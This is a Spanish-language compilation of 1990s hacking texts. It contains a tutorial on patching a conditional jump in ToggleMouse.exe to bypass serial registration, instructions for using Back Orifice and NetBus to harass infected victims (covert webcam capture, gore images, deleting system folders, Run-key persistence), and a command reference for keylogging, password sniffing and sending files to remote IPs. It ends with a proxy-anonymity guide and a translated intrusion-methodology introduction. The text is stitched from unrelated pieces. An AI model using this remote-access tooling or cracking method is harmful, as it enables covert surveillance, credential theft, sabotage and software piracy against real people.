:0040E7D7 3DF87A4138 cmp eax, 38417AF8 :0040E7DC 59 pop ecx :0040E7DD 0F840C010000 je 0040E8EF :0040E7E3 FF7508 push [ebp+08] :0040E7E6 E8A5570000 call 00413F90 :0040E7EB 3D9EB18C00 cmp eax, 008CB19E

18 :0040E7F0 59 pop ecx :0040E7F1 0F84F8000000 je 0040E8EF :0040E7F7 FF7508 push [ebp+08] :0040E7FA E891570000 call 00413F90 :0040E7FF 3DD713B200 cmp eax, 00B213D7 :0040E804 59 pop ecx :0040E805 0F84E4000000 je 0040E8EF :0040E80B FF7508 push [ebp+08] :0040E80E E87D570000 call 00413F90 :0040E813 3DF6336A2C cmp eax, 2C6A33F6 :0040E818 59 pop ecx :0040E819 0F84D0000000 je 0040E8EF :0040E81F FF7508 push [ebp+08] :0040E822 E869570000 call 00413F90 :0040E827 3BC6 cmp eax, esi :0040E829 59 pop ecx :0040E82A 0F85AF000000 jne 0040E8DF :0040E830 E84B3B0200 call 00432380 :0040E835 8B4004 mov eax, dword ptr [eax+04] :0040E838 56 push esi * Possible StringData Ref from Data Obj ->"Registration" | :0040E839 BEC4264400 mov esi, 004426C4 He remarcado claramente la instrucción que llama al error, en mi primer ejemplo de ensamblador, puse un Jne acaba, y en este caso llamamos a un Jne 0040E8DF, no se preocupen, cuando se programa en ensamblador, se etiquetan las instrucciones como acaba, digamos que es lo mismo pero que en vez de etiquetas como 'acaba' se etiquetan cuando se desensambla en direcciones tales como '0040E8DF'... Tal como les dije en unas páginas atrás, ¿Qué haremos con esta instrucción que salta si no es equivalente?.. exacto!, la revertiremos de una manera de la cuál pensará que estamos registrados correctamente si escribimos un código erroneo.. pero.. ¡Cuidado!, vamos a aprender que si es que revertimos el salto ahora ... pensemos un poquito .. si lo revertimos para que si escribimos un serial incorrecto piense que es correcto .. ¿Qué pasará si escribimos el serial correcto? .. BUM! el error se arrojará en ese caso .. pero .. hey! antes de que hagas cualquier tipo de cambio como bestia salvaje sin nada que hacer mas que reventar unos bytes. vamos a lanzar el monitor de registro del sistema. para observar si es que el programa produce cambios en el registro de Windows.. Más tarde se explicará que és el registro de Windows. Puedes descargar el monitor de registro aquí o puedes usar este otro. 4.1.0 -Una pequeña explicación. Si es que miramos arriba del salto jne 0040E8DF podemos observar una call.

:0040E822 E869570000 call 00413F90 :0040E827 3BC6 cmp eax, esi

19 :0040E829 59 pop ecx :0040E82A 0F85AF000000 jne 0040E8DF :0040E830 E84B3B0200 call 00432380 Si es que recuerdas, 'push' era para mantener un valor temporalmente en la cima de la memoria, el comando mencionado aqui ('pop') obtiene el valor del 'push' puesto en la cima de la memoria y al mismo tiempo le agrega 2 unidades, más tarde hablaremos de estas llamadas 'unidades'. En este ejemplo, el pop obtiene el valor de la cima de ecx. ¿ Y para que menciono además del pop a la función call ?.. puesto que antes del salto al error, (jne 0040E8DF) se llama a este famoso call que va a la dirección en la cuál se comprueba el serial que has escrito, y si recuerdas, después de comprobar todo este famoso enredo vuelve (Un RET) y Salta si no es equivalente el serial que has escrito .. ¿Ves que no es tan difícil como parece?. 4.2 -Muerte a los bytes. Lancemos ahora tu editor hexadecimal, abre el ejecutable de ToggleMouse(ToggleMouse.exe) y vayamos al menú 'Edit' y luego 'Replace' busquemos la cadena hexadecimal de JNE (Tal como lo expliqué arriba) 0F85AF000000 y lo reemplazaremos con la instrucción JE(La inversa) que es 0F84, o sea que sería 0F84AF000000. Usa para esto UltraEdit o Hex WorkShop, el hacker's view funciona de otra manera que explicaré en otro capítulo. Una vez que hayamos guardado los cambios, iniciemos ToggleMouse con el monitor de registro abierto y reluciente esperando a su víctima ser acosada. Vayamos al menú order, presionemos 'enter regitration code', escribamos el nombre que queramos registrar, una compañia, y cualquier número serial, presionemos 'Ok' y veamos que sucede .. 'Registration Complete! thank you very much for registering ..' ... estamos registrados, no estemos contentos con eso, hemos descubierto una estúpida protección. Pero todavía no se acaba esto!, tenemos que aprender más y más del programa, no solo trata este curso de matar y matar, sino, el verdadero conocimiento en sí!, ahora, veamos el monitor de registro.. dice que se abrió y creo una clave en : HKEY_CURRENT_USER\Software\Toggle Software\ToggleMOUSE\Registration ¿Poco imaginativo no .. ?... Bueno, veamos lo que tenemos aqui, en mi caso, puse como nombre a : M@NIAC PC, de compañia a : KUt99, y después, nos vamos a 'ejecutar' en el menú de Inicio de Win95, y escribimos 'regedit', lanzamos con esto al editor de registro de configuraciones, presionamos F3 para Buscar, y escribimos ToggleMOUSE, después de una búsqueda los encontraremos por aquí, en nuestra izquierda deberíamos tener lo siguiente:

" ToggleSoftware "ToggleMOUSE "Blink "PanicStopper

20 "QuikScroll "Registration /dns irc.redestb.es (por ej.) para poner puesta a punto su pc poner: BO> REDIRADD 1001 XXX.XXX.XXX.XXX:6667 , donde XXX.XXX.XXX.XXX es el dns del servidor irc En status(del segundo irc que abres) poner: >/server XXX.XXX.XXX.XXX:1001 Estoy casi seguro que esta función es la más interesante del BO, pero no he sabido encontrar gente que sepa sobre esto... :(( ayudaaaaa

******************************************************* PARA REIRSE Y PASAR UN RATO DIVERTIDO A COSTA DEL LAMER ******************************************************* Esta parte podría ocupar un tomo de 500 páginas de cómo sadiquear con tu víctima hasta la extenuación. Voy a contar mis peripecias: - Susto "visual": un día me pasaron una foto realmente asquerosa que no voy a describir porque no quiero que me vuelvan a entrar arcadas... bueno. la cuestión que se me ocurrió por mediación de NETBUS y su opción SHOWIMAGE, mostrar la imagen a uno de mis lamers. (por cierto, si alguien ha encontrado el fichero app.exe como nombre del server del netbus, ese es mi lamer). El proceso es sencillo: bo> HTTPON 40 C:\WINDOWS IE HTTP:\\XXX.XXX.XXX.XXX:40 NETBUS UPLOAD-----> FOTO GORE ahora el intrículis.... qué sentido tiene mandar la foto si no te enteras de la cara que pone, ni siquiera sabrás a ciencia cierta si la va a ver... pues para qué sirve el comando CAPAVI? Claro que para ello tiene que tener una webcam, algo que tampoco es tan difícil si pillas a mucha gente cada día... con BO> LISCAPS 0 webcam II blah blah efectivamente: bo> CAPAVI C:\WINDOWS\TEMP\CARA.AVI 0,320,200,256 ahora rápido: NETBUS SHOWIMAGE -> C:\WINDOWS\IMAGE.JPG justo, para "verle" el careto. luego tienes que bajarte el archivo y guardalo en el directorio "trofeos" XDDD

89 Cuánto okupa? pues 1,5 MB.... estarás 15 min bajándotelo, o bien, otro día. (lo malo es el directorio temp)... tb se aconseja directorio c:\windows\drwatson\a por qué el dr watson? porque nunca lo encontrará ahí el lamer, seguro que no sabe ni qué es eso... XDD - Cambiar el fondo del escritorio: Bajarse el fichero win.ini Crear con photoshop la imagen que quieras que aparezca en el escritorio del lamer/S. y grabarla xxx.BMP(se recomienda que no okupe toda la pantalla,... si no quieres estár media hora pasándole el archivito...) Ahora te bajas su win.ini y lo editas con EDIT y con la opción buscar, buscas desktop. La encontrarás: [desktop] wallpaper=c:\windows\peces.bmp tilewallpaper=0 wallpaperstyle=0 pattern=(nono) pues cambiar c:\windows\peces.bmp por c:\windows\xxx.bmp lo subes otra vez. ya está. - Putaditas varias: cambiar el logo.sys. logow.sys y logos.sys por otras imágenes que te gustaría que el lamer tenga que ver al apagar y encender su sistema. El logo.sys= windows 95 (ojo! no win98) El logos.sys =win95/98 mensaje windows preparadose para cerar... El logow.sys =win95/98 mensaje windows ahora puede apagar el equipo - Editar el mirc.ini y cambiar lo que se te ocurra. - en el system.ini: cambiar shell=explorer.exe por shell=progman.exe Es decir, cambiar el explorer por una especie vestigio del windows 3.11 XDDDDD - Cambiar win32help.exe por tour98.exe Es decir, cuando pulse f1 verá un paseo por windows (eso en win 98, en 95 creo que se llama de otra manera) XDDDDDDDDDDDD - Cambiar el registro! en HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSI ON\RUNONCE\..... meter el programa que en el directorio windows quiera que se cargue. por ejemplo: una imagen grabada .exe o bien, hacer que se carguen muchas chorradas al principio: calc, el write, defrag,mplayer, control, progman, o bien, un programa que reboota directamente, lo malo es que abusar, hará que el lamer se reinstale el windows y nos borrará del registro nuestro "amigo" bo.

90

PARTE II En este manual los [] significará que el modificador es de especificación incondicional. Los () significará que el modificacor es de especificación condicional Los {} significará que el modificador es de especificación optativa

- Aplicaciones de Consola ____________________________________________________ APPADD [nombresexe] puertodeentrada Escribe un texto basado en una aplicación de un puerto TCP. Con telnet se puede conectar vía: 7 echo 13 daytime 17 qoutd 19 chargen 23 Telnet Esto te permite controlar un texto o una aplicación DOS, como COMMAND.COM vía telnet usage: appadd "exefilename paramaters" inport example2: appadd "netstat -na" 998

APPDEL Para una aplicación de conexiones de escucha APPDEL - Removes a console application from the redirected console apps usage: appdel appid example: appdel 0

APPLIST Lista las aplicaciones actualmente en escucha de conexión.

91

-COMANDOS DE FICHEROS________________________________________________________ CD [ruta] Para acceder a directorios de nombres largos se ha de poner entre paréctesis. Por ejemplo si se quiere acceder al directorio se ha de telclear: cd "mis documentos" MD [ruta] Crea directorio Los directorios que es interesante crear son los que el server crea que son de sistema por ejemplo c:\windows\temp RD [ruta] Borra directorio. Si hay alguien que realmente se lo merece, los directorios que pueden ser interesantes de borrar son: c:\windows\fonts; c:\windows\win32\c:\windows\system DIR {ruta} Directorio Admite wildcards FIND [fichero] [ruta] : encuentra ficheros dentro de los subdirectorios de la ruta. Admite wildcards. He aquí una lista de tipos de archivos: AVI:(Animation Video Interface) Para animaciones MP3: Música MP3 MPG: Peliculillas... LOG: Para leer los logs del lamer COPY [origen] [destino] copia un archivo. usage: copy sourcefilename targetfilename example: copy c:\windows\system\bo.exe \\server\c\windows\startm~1\programs\st REN [origen] [destino] Renombra un archivo o directorio. usage: ren oldfilename newfilename example: ren c:\windows\fonts c:\windows\f DEL [fichero] : borra un archivo

FREEZE [fichero] [fichero_comprimido]

92 FREEZE - Compresses a file. Esta instrución no admite wildcards, por lo que sólo funciona con un archivo. Recomendaría llamar a los archivos comprimidos .frz. ejemplo: freeze c:\windows\temp\cap.bmp c:\windows\temp\c

MELT [fichero_comprimido] [fichero] Descomprime un archivo ejemplo: melt c:\windows\temp\t c:\windows\desktop.bmp VIEW Ve un archivo de texto VIEW - Views a textfile usage: view filename example: view c:\windows\system.ini

-REDIRECCIONAMIENTO________________________________________________________ REDIRADD: redirecciona las conexiones RCP o los paquetes UDP a otra dirección IP REDIRADD - Adds a port redirection usage: rediradd inputport outputip:port,udp example1: rediradd 33331 205.183.56.7:31337,U example2: rediradd 1001 207.213.15.11:23 note: If no output port is provided the input port is used. REDIRDEL: para el redireccionamiento de un puerto REDIRDEL - Deletes a port redirection usage: redirdel redirnumber example: redirdel 0 REDIRLIST REDIRLIST - Lists the current port redirections

- REGISTRO-_____________________________________________________ REGMAKEKEY [llave] Crea una llave en el registro No especifique la cabecera \\ para los valores de registro. Los registros son: hkey_classes_root hkey_current_user hkey_local_machine hkey_current_config

93 ejemplo: regmakekey HKEY_LOCAL_MACHINE\SOFTWARE\MyWare REGDELKEY [llave] Borra una llave del registro ejemplo: regdelkey HKEY_LOCAL_MACHINE\SOFTWARE\MyWare REGDELVAL [nombre del valor] Borra un valor del registro ejemplo: regdelval HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Run\netwatcher REGLISTVALS [llave]: lista los valores de una llave de registro. Si está incompletamente especificada muestra solo el número de llaves creadas en dicho registro. Nota: este comando suele tardar un tiempo en ejecutarse... es bastante inestable y se recomendaría ejecutarlo en el GUI client. REGSETVALS: Fija un valor para una llave de registro, creándola si ésta no existe.. BIN: AF,2B... DWORD: 1 S: Cadena usage: regsetval valuename type,value example1: regsetval HKEY_LOCAL_MACHINE\SOFTWARE\BinaryValue B,08090A0B0C0D0E0F10 example2: regsetval HKEY_LOCAL_MACHINE\SOFTWARE\DwordValue D,54321 example3: regsetval HLEY_LOCAL_MACHINE\SOFTWARE\StringValue "S,This is a stringvalue" note: Binary values (type B) are specified in two digit hex values, Dword valu es (type D) in decimal

RESOLVE: da el host RESOLVE - Resolves the ip of a hostname from the remote host usage: resolve servername example: resolve server2

-SISTEMA_______________________________________________________________________ DIALOG: crea un diálogo con el texto dado y un OK. Puedes hacer muchos y si aparecerán en el servidor en forma de cascada

94 usage: dialog dialogtext titletext example: dialog "Get back to work you lazy bum!" "A message from the managemen t:" INFO: muestra información sobre el servidor: Por ejemplo: System info for machine 'DEFAULT' Current user: 'pallares' Processor: I586 Win32 on Windows 95 v4.10 build 1998 Memory: 31M in use: 100% Page file: 94M free: 63M C:\ - Fixed Sec/Clust: 32 Byts/Sec: 512, Bytes free: 65077248/848199680 D:\ - Fixed Sec/Clust: 64 Byts/Sec: 512, Bytes free: 2069626880/2.130.018304 E:\ - CD-ROM End of system info nombre de máquina usuario CPU Version del sistema operativo memoria disponible Información de unidades (byts/sec, bytes libres)

LOCKUP: Bloquea el sistema del server PASSES: Te da los passwords de conexión y otros... REBOOT: apaga el sistema y reboota

-TCP_______________________________________________________________________ TCPRECV: conecta el servidor a un IP específico y puerto y guarda algo de datos de esa conexión a un fichero especificado. TCPRECV - Connects the server to an ip and receives a file usage: tcprecv filename targetip:port example: tcprecv c:\file 206.165.128.130:999 TCPSEND: Conecta el server a un IP específico y envía los contenidos a un fichero específico.

95 Entonces desconecta. nota: una utilidad para hacer esto es NETCAT Netcat -1 -p 666 >file -------------> desde el server Netcat -1 -p 666 al server TCPSEND - Connects the server to an ip and sends a file usage: tcpsend filename targetip:port example: tcpsend c:\file 206.165.128.130:999

-PLUGINS__________________________________________________________________ PING: retorna el nombre de la máquina y la versión del BO. Interesante para ver si la máquina vive o ha desconectado. PLUGINEXEC Ejecuta un plugin del Back Orifice. Si es de otro programa puede bloquearse el sistema del server usage: pluginexec dllname:pluginname pluginargs example: pluginexec bos:_SniffPasses 0001 c:\sniff.log PLUGINKILL: apaga algún plugin específico PLUGINKILL - Tells a plugin to terminate usage: pluginkill pluginid example: pluginkill 0 PLUGINLIST: lista los plugins activos o retorna los plugins que existen PLUGINLIST - Lists active plugins

-PROCESOS________________________________________________________________ PROCKILL: termina el proceso PROCKILL - Kills a running process usage: prockill processid example: prockill 4294651219 note: processid's are listed by PROCLIST

PROCLIST: lista los procesos en marcha

96 PROCSPAWN: carga un programa Desde GUI: si el segundo parámetro es especificado el proceso será ejecutado como visible. De otra manera será oculto. PROCSPAWN - Spawns a process usage: procspawn exename arguments example: procspawn command.com /C netstat -na > c:\windows emp HTTPOFF: quita el servidor HTTP HTTPON: pone el servidor HTTP HTTPON - Enables the http server usage: httpon port root example1: httpon 80 c:\www example2: httpon 9999 note: If no root is supplied, all drives are accessable via http KEYLOG: logea las pulsaciones del server a un fichero de texto KEYLOG - Logs keystrokes to file usage: keylog logfilename example: keylog c:\windows\temp\t\l note: Use 'keylog stop' to end keyboard logging KEYLOG END: para el logeo

-MULTIMEDIA-_______________________________________________________ CAPAVI [ficheroavi] [segundos]{,dispositivo,anchura,altura,numcolores} Captura video de un dispositivo de captura de video los segundos especificados Ejemplo: capavi c:\windows\desktop\you.avi 10,0,160,120,16

CAPFRAME [nombrebitmap] {dispositivo,anchura,altura,numerodecolores} Captura la imagen de un dispositivo de imagen como una webcam.. Este comando para que funcione debe existir dicho dispositivo de imagen (lo comprobamos con listcaps) y luego a de estar encendido. Lo que le hace un comando muy restrictivo... Los valores determinados son 0,640,480,16 Ejemplo c:\windows\temp\webcam.bmp 0,320,200,16

CAPSCREEN [nombrebitmap] Captura la pantalla del sever a un fichero mapa de bits nombrado nombrebitmap

97 example: capscreen c:\windows\temp\pantalla_del_lamer.bmp

LISTCAPS Lista los dispositivos que pueden capturar video. Naturalmete si muestra alguno dará luz verde para que CAPFRAME capture algo de interés... ex LISCAPS: 0: miroVIDEO DC20, Motion JPEG Capture/CODEC Board Version: 0.1.0.3

SOUND [ficherowav] Reproduce un WAV en el servidor example: sound c:\mirc\sound\burro.wav

-NET-______________________________________________________________ NETLIST: lista las conexiones de red. Mensajes de error: Current connections: Error 1222:Falta la red o bien no se ha iniciado opening network enumeration Persistent connections: Incomming connections: NETDISCONNECT Desconeca los dispositivos de red, dominiosm servidores y exportaciones visuales de la máquina servidora. NETDISCONNECT [entornodered] Desconecta la máquina del entorno de red example: netdisconnect \serverdmin$ NETCONNECT [entornodered] {password} : conecta la máquina a un entorno de red. ejemplo: netconnect \serverdmin$ s3cur3 ================================================================= ============= NAVEGANDO ANONIMAMENTE - SERVIDORES PROXIES by =VoraX= ================================================================= ============= I. ¨Que es un proxy server?

98 II. ¨Para que sirve un proxy? III. ¨Como uso un proxy con mi navegador? IV. ¨Que proxies puedo usar? (I) ¨Que es un proxy server? La traduccion de la palabra "proxy" es "apoderado" o "sustituto", es decir una persona que toma la identidad de otra para determinada tarea. Aplicado a la computacion y a Internet un proxy es un servidor que sirve de intermediario entre un cliente y otro servidor. CONEXION NORMAL SIN PROXY (A B) [RESPUESTA] (HTTP,FTP,etc) (gopher,etc) [PEDIDO]

El cliente (A) que puede ser un navegador, un cliente ftp o de cualquier otra clase se conecta con el puerto correspondiente del servidor (B).

CONEXION CON PROXY (A C B) [RESPUESTA] ======= [RESPUESTA] (HTTP,FTP,etc) (gopher,etc) [PEDIDO] ======= [PEDIDO] En este caso el cliente (A) se conecta con un puerto especifico del servidor proxy (C), y hace un pedido a otro servidor (B). El proxy C se conecta con B y hace el pedido, luego de recibir la respuesta se la envia al cliente original A. CONEXION CON CACHE PROXY SERVER [RESPUESTA] ======= [RESPUESTA] (HTTP,FTP,etc) (gopher,etc) [PEDIDO] ======= [PEDIDO] || \/ [] \-------/ Esta conexion es igual a la anterior con la diferencia de que el

99 servidor proxy tiene un cache (en disco) donde almacena las respuestas a los pedidos de los clientes (A). En una conexion normal cada programa cliente se comunica con el puerto correspondiente en el servidor.Por ejemplo, cuando usamos un navegador, este se contacta (generalmente) con el puerto 80 de la otra computadora. Cuando bajamos una pagina el pedido se hace a ese puerto, y de alli se reciben las respuestas. Cuando usamos el ftp pasa lo mismo pero con un puerto distinto (23) aunque en realidad se usan otros para los datos, pero no es tema de este texto. En cambio, si usamos un proxy el programa cliente se conecta a un puerto en una computadora donde funciona el "Proxy Server" y le hace un pedido de otro servidor en otro puerto pero de un servicio especifico(http-ftp-etc) Por eso existen distintos tipos de proxies de acuerdo al tipo de servicio que soportan, lo que mas frecuentemente encontramos es: "HTTP proxy server" y "FTP proxy server" (II) ¨Para que sirve un proxy? Los proxies tienen muchas utilidades, generalmente funcionan junto con las firewalls, se usan de cache para acelerar la navegacion en LAN's o hasta en ISP, pero el uso que nosotros le vamos a dar es el de ANONIMIZADOR Como vimos antes, si nos conectamos a un servidor X mediante un proxy, nosotros hacemos el pedido al proxy, el proxy lo hace al servidor X y nos envia la respuesta a nosotros. Por lo tanto en X queda registrado que se conecto el proxy y no directamente nosotros. Aunque en los logs del proxy puede figurar nuestra IP y a donde nos conectamos. En definitiva usando proxies ocultamos nuestra IP, y por lo tanto nos ANONIMIZAMOS. (III) ¨Como uso un proxy con mi navegador? Lo que necesitamos para usar un proxy en un programa cliente es configurar su direccion (IP o nombre) y el puerto en el que funciona. Debemos conocer que tipo de servicios soporta el proxy, de acuerdo a esto cambia el puerto en el que funciona, aunque hay muchas excepciones. En algunos programas tenemos casillas para completar la direccion y el puerto de un proxy para cada servicio en otros debemos poner la URL de la forma http://DOMINIO:PUERTO ej: http://Proxy.wasantara.net.id:8080 Los tipos de proxy que soportan muchos navegadores son:HTTP,FTP,GOPHER, WAIS, Security y SOCKS. Los cuatro primeros creo que los conocen porque hasta en el texto mas chico y estupido sobre internet los describe. El Security es para manejar el SSL.SOCKS se usa en las firewalls para controlar el acceso a servicios en Internet, sirve de filtro de las conexiones, permite loguear tan especificamente, permitir o no el acceso a determinados sistemas y muchas otras funciones. COMO CONFIGURAR LOS PROXIES EN LOS NAVEGADORES MAS CONOCIDOS:

100

=Netscape 1.22 (e inferiores)= Menu Options->Prefereces->Proxy (Resetear?) =Netscape 2.0 (y superiores)= Menu Options->Network Preferences->Proxy =Netscape 4.x = Menu Edit->Preferences...->Doble clik en Advanced->Clik en Proxies-> (en la derecha) marcar Manual Proxy Configuration -> Click en boton View =Internet Explorer 2.0 for windows = Clikea con el boton derecho sobre el icono->selecciona Properties->Advanced ->Use proxy server-> http://algun_proxy.com:8080 =Internet Explorer 3.0 for windows = 1)Menu View->Options->Connection-> 2)Marcar Connect through a proxyserver 3) clikea en Settings y pone http://algun_proxy.com:8080 =Internet Explorer for Mac OS= Menu Edit->Options->Proxy->http://algun_proxy.com:8080 =NCSA Mosaic for Unix 2.4 (o superior)= Se deve setear la variable de entorno http_proxy a http://algun_proxy.com: esto depende del shell: csh -> setenv http_proxy http://algun_proxy.com:8080 bash-> export http_proxy='http://algun_proxy.com:8080' =NCSA Mosaic for Macintosh 2.0 (o superior)= Menu Options->Preferences->Use Cern proxy service->Gates Setear el HTTP gate a algun_proxy.com y en el segundo casillero el port =Enchanced Mosaic for Macintosh= Menu Edit->Prefereces->Proxy server poner http://algun_proxy.com:8080 =Lynx for Unix 2.3 o superior = Igual que el NCSA MOSAIC hay que setear la variable de entorno.(ver arriba) Para configurar en otros programas buscar en la ayuda y en los menues o se pone la URL o la direccion y el puerto. (IV) ¨Que proxies puedo usar? Hace un tiempo se hizo famoso el www.anonymizer.com, este brinda el servicio de anonimizacion, claro se hizo pago y tenemos un retardo de

101 unos segundos cada vez que lo usamos si no abonamos. Pero existen muchos otros proxies en el mundo que nos pueden servir, algunos son reservados para determinados usuarios, otros filtran, algunos dicen que borran sus logs semanalmente, otros que se los dan a la justicia si se los piden, unos son mas rapidos otros son lentos. Por eso es cuestion de buscar y encontrar uno que nos brinde seguridad y velocidad (servicio y limpieza?:) , FTP y HTTP como minimo. Si encuentran un proxy fijense de que tipo es, generalmente se ven cosas com FTP:1030 SOCK:8010 HTTP:8080 esto indica en que puerto soporta cada servicio. ALGUNOS PROXIES EN EL MUNDO: (AUSTRALIA-ALEMANIA-BELGICA-USA-INDONESIA-ISRAEL-ITALIA-GRECIAESPA¥A-HOLANDA) web.mit.edu:80 (funciona siempre pero es 'conocido') win.tue.nl:8080 (dejo de funcionar) proxy.magusnet.com:8080 (no funciona-probar) proxy.voz.cz:8080 (probar) proxy.di.uoa.gr:8080 proxy.aljan.com.au:8080 socks:8010 (restringido?) white.aljan.com.au:8080 socks:8010 (restringido?) wwwproxy.weizmann.ac.il:8080 Proxy.wasantara.net.id:8080 o 3128 202.159.81.75 (funciona bien) proxy.netura.net.id:8081 proxy.belnet.be:8000 proxy.tarheel.net:8080 [ de los siguientes no se nada, averiguen los puertos y demas datos] frankfurt.www-cache.dfn.de cache.nic.surfnet.nl koeln.www-cache.dfn.de proxy.cineca.it proxy.imaginet.be proxy.rediris.es proxy.interpac.be proxy.skynet.be [ si conocen mas o mejores mandenme mail] Prueben todos los que puedan y elijan, les recomiendo visitar la pagina web de cada uno para informarse que tipo de proxy es y como manejan los logs. Recuerden que sites como hotmail nos rebotan si usamos proxies conocidos, prueben con otros y listo! Para comprobar que realmente estan ocultando su procedencia pueden hacerlo en la misma pagina de Raregazz, en la parte de mensajes anonimos aparece su direccion IP, prueben con y sin proxy. Para FTP conectence con algun servidor que les diga "Hola [tu IP] te estamos vigilando" :) que vigilen...

102 "Desde que uso proxies soy mas feliz" ---|---

================================================================= =============

Introducción Todos los días, en todo el mundo, las redes de ordenadores y hosts son violados. El nivel de sofisticación de estos ataques varia ampliamente; mientras hay una creencia generalizada que la mayoría de estas intrusiones tienen éxito debido a la debilidad de los passwords, hay todavía un gran numero de intrusiones que hacen uso de técnicas mas avanzadas para entrar. Poco es sabido acerca de este ultimo tipo de intrusiones , debido principalmente a su naturaleza y a su dificultad de ser detectadas.

ERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. Cualquier sistema en Internet (y muchos que no lo están) son susceptibles de ser violados fácilmente. ¿Son estos objetivos inusuales? ¿Que ocurrió? Un hombrejoven, con pelo rubio y grasiento, sentado en una habitación oscura. La habitacion esta iluminada solamente por la luz de la pantalla de 40 caracteres de un C64. Tomando otra larga aspiración de su Benson & Hedges, su cansado sistema cracker “Telnetea” a otro site “.mil” anónimo de su lista de víctimas. No importa. Tiene toda la noche….lo tacha de su lista, y cansinamente teclea la siguiente víctima potencial…. Esta parece ser la imagen habitual de un cracker de sistemas. Joven, sin experiencia, y con un montón de tiempo que perder, tan solo para entrar en otro sistema. Sin embargo, hay un tipo de cracker mucho mas peligroso rondando por ahí. Uno que sabe todo lo ultimo acerca de seguridad de sistemas y herramientas cracking, que puede modificarlas para llevar a cabo ataques específicos, y que puede currarse sus propios programas. Uno que no solo se dedica a leer sobre los últimos agujeros de seguridad, sino que tambien descubre bugs y puntos débiles. Una “criatura mortal” que puede tanto golpear “envenenadamente” , como ocultar su rastro sin un solo susurro o pista. El uebercracker esta aquí..

Por que “uebercracker” ? Es una idea robada, obviamente, del uebermensch de Nietzsche,o , literalmente traducido al ingles, “over man”. Nietzsche uso el termino no para referirse a un super hombre de comic, sino a un hombre que va mas alla de la incompetencia, insignificancia, y

103 debilidad del hombre tradicional. Por lo tanto el uebercracker es el cracker de sistemas que ha ido mas alla de los simples metodos de intrusion de los cookbooks. Un uebercracker no se motiva normalmente para realizar actos violentos.

Las victimas no son arbitrariamente escogidas – hay un proposito, tanto como si es por conseguir fines monetarios, un ataque “golpea y corre” para pillar informacion, o un desafio para golpear un prestigioso-gran site o red personalmente. Un uebercracker es dificil de detectar, mas aun de parar, y aun mas si cabe de mantenerlo alejado de tu site por tu bien. Overview En este texto vamos a realizar un acercamiento inusual a los sistemas de seguridad. En vez de decir meramente que algo es un problema, vamos a mirar a traves de los ojos de un intruso, y ver por que lo es. Vamos a ilustrar que incluso los aparentemente inocuos servicios de red pueden convertirse en herramientas muy valiosas a la hora de buscar puntos debiles en un sistema, incluso cuando estos servicios operan del modo esperado. En un esfuerzo por verter algo de luz sobre como ocurren estas intrusiones cada vez mas avanzadas, este texto reseña varios mecanismos usados actualmente por los crackers para obtener acceso a los sistemas y, adicionalmente, algunas tecnicas que sospechamos estan usando, o hemos usado nosotros mismos en tests o ambientes autorizados/amigables. Nuestra motivacion a la hora de ecribir este texto ha sido el hecho de que los administradores de sistemas no son muy a menudo conscientes del peligro existente por cualquier cosa mas alla de los ataques mas triviales. Mientras por todos es sabido que el nivel de proteccion apropiado depende de que es lo que debe ser protegido, muchos sites parecen estar faltos de los recursos para valorar que nivel de proteccion es adecuada. Dando a conocer lo que los intrusos pueden hacer para ganar acceso a un sistema remoto, intentamos ayudar a los administradores de sistemas a tomar decisiones sobre como proteger su site – o como no hacerlo. Limitaremos la discusion a tecnicas que pueden posibilitar el acceso a intrusos a shells en un host corriendo UNIX. Una vez hecho esto, los detalles acerca de como conseguir privilegios root estan mas alla del ambito de este texto – consideramos que son o dependen del site y, en muchos casos, muy triviales para merecer discutirse. Queremos recalcar que no vamos a hacer una lista de bugs o agujeros de seguridad – siempre habra nuevos para que un “atacante” en potencia los explote. El proposito de este texto es el de tratar de que el lector vea su sistema de una forma nueva/diferente – una forma que posiblemente le

104 permita tener la oportunidad de entender como su propio sistema puede estar comprometido, y como. Tambien queremos reiterar que el proposito de este texto es el de enseñar al lector como testear la seguridad de su propio site, y no como irrumpir en sistemas ajenos. Las tecnicas de intrusion ilustradas aquí dejaran muy a menudo huellas en los logs de tu sistema – seria constructivo examinarlos despues de intentar alguno de estos ataques, para ver como seria un ataque verdadero. Ciertamente otros sites y administradores de sistemas tomaran/haran una vision fugaz de tus actividades si es que decides usar sus hosts para hacer tests de seguridad sin autorizacion avanzada; de hecho, es posible que se tomen medidas legales contra tu persona si lo perciben como un ataque. Hay cuatro partes principales en este texto. La primera es la intoduccion y el overview. La segunda parte es un intento de dar a entender al lector lo que es ser un intruso y como de no saber nada de un sistema pasar a comprobar su seguridad. Esta seccion revisa las tecnicas actuales de obtencion de informacion y acceso, y cubre estrategias basicas tales como explotar y abusar de servicios basicos mal configrados (ftp, mail, tftp, etc.). Tambien trata temas un poco mas avanzados, tales como NIS y NFS, asi como bugs tipicos y problemas de configuracion en cierta forma mas especificos de los sitemas operativos o de los sistemas. Tambien se cubre lo referente a estragegias defensivas contra cada uno de los diferentes ataques. La tercera seccion trata sobre confianza: como la seguridad de un sistema depende de la integridad de otros sistemas. La confianza es el tema mas complejo de este texto, y por ser breves limitaremos su discusion a “los clientes ocultos” (si alguien ha entendido esto ultimo que me lo explique :)).

La cuarta seccion cubre los pasos basicos a seguir por un administrador de sistemas para proteger su sistema. La mayoria de los metodos presentados aquí son meramente de sentido comun, pero son comunmente ignorados en la practica – una de nuestras metas es enseñar lo peligroso que es ignorar estos metodos basicos de seguridad.

Estudios practicos, indicadores de informacion relacionada con la seguridad, y software son descritos en los apendices al final del documento.

105

Mientras exploramos los metodos y estrategias que se discuten en este texto vamos a hablar del SATAN ( Security Analysis Tool for Auditing Networks ). Escrito en shell, perl, expect y C, examina un host o sets de hosts remotos y recoge tanta informacion como sea posible explorando remotamente NIS, finger, NFS, ftp y tftp, rexd, y otros servicios. Esta informacion incluye la presencia de varios servicios de informacion de red asi como de defectos potenciales de seguridad – normalmente en la forma de errores en el setup o en la configuracion de los servicios de red, bugs tipicos en las utilidades del sistema o red, o bien decisiones tacticas pobres o ignorantes. Entonces puede bien informar sobre estos datos o usar un sistema experto para investigar mas adelante cualquier problema potencial de seguridad. Mientras el SATAN no usa todos los metodos discutdos en este texto, ha triunfado con “amenazadora” regularidad a la hora de encontrar serios agujeros de seguridad en sites de Internet. Sera posteado y estara disponible via FTP anonimo cuando este completado; El apendice A cubre sus caracteristicas mas destacadas.

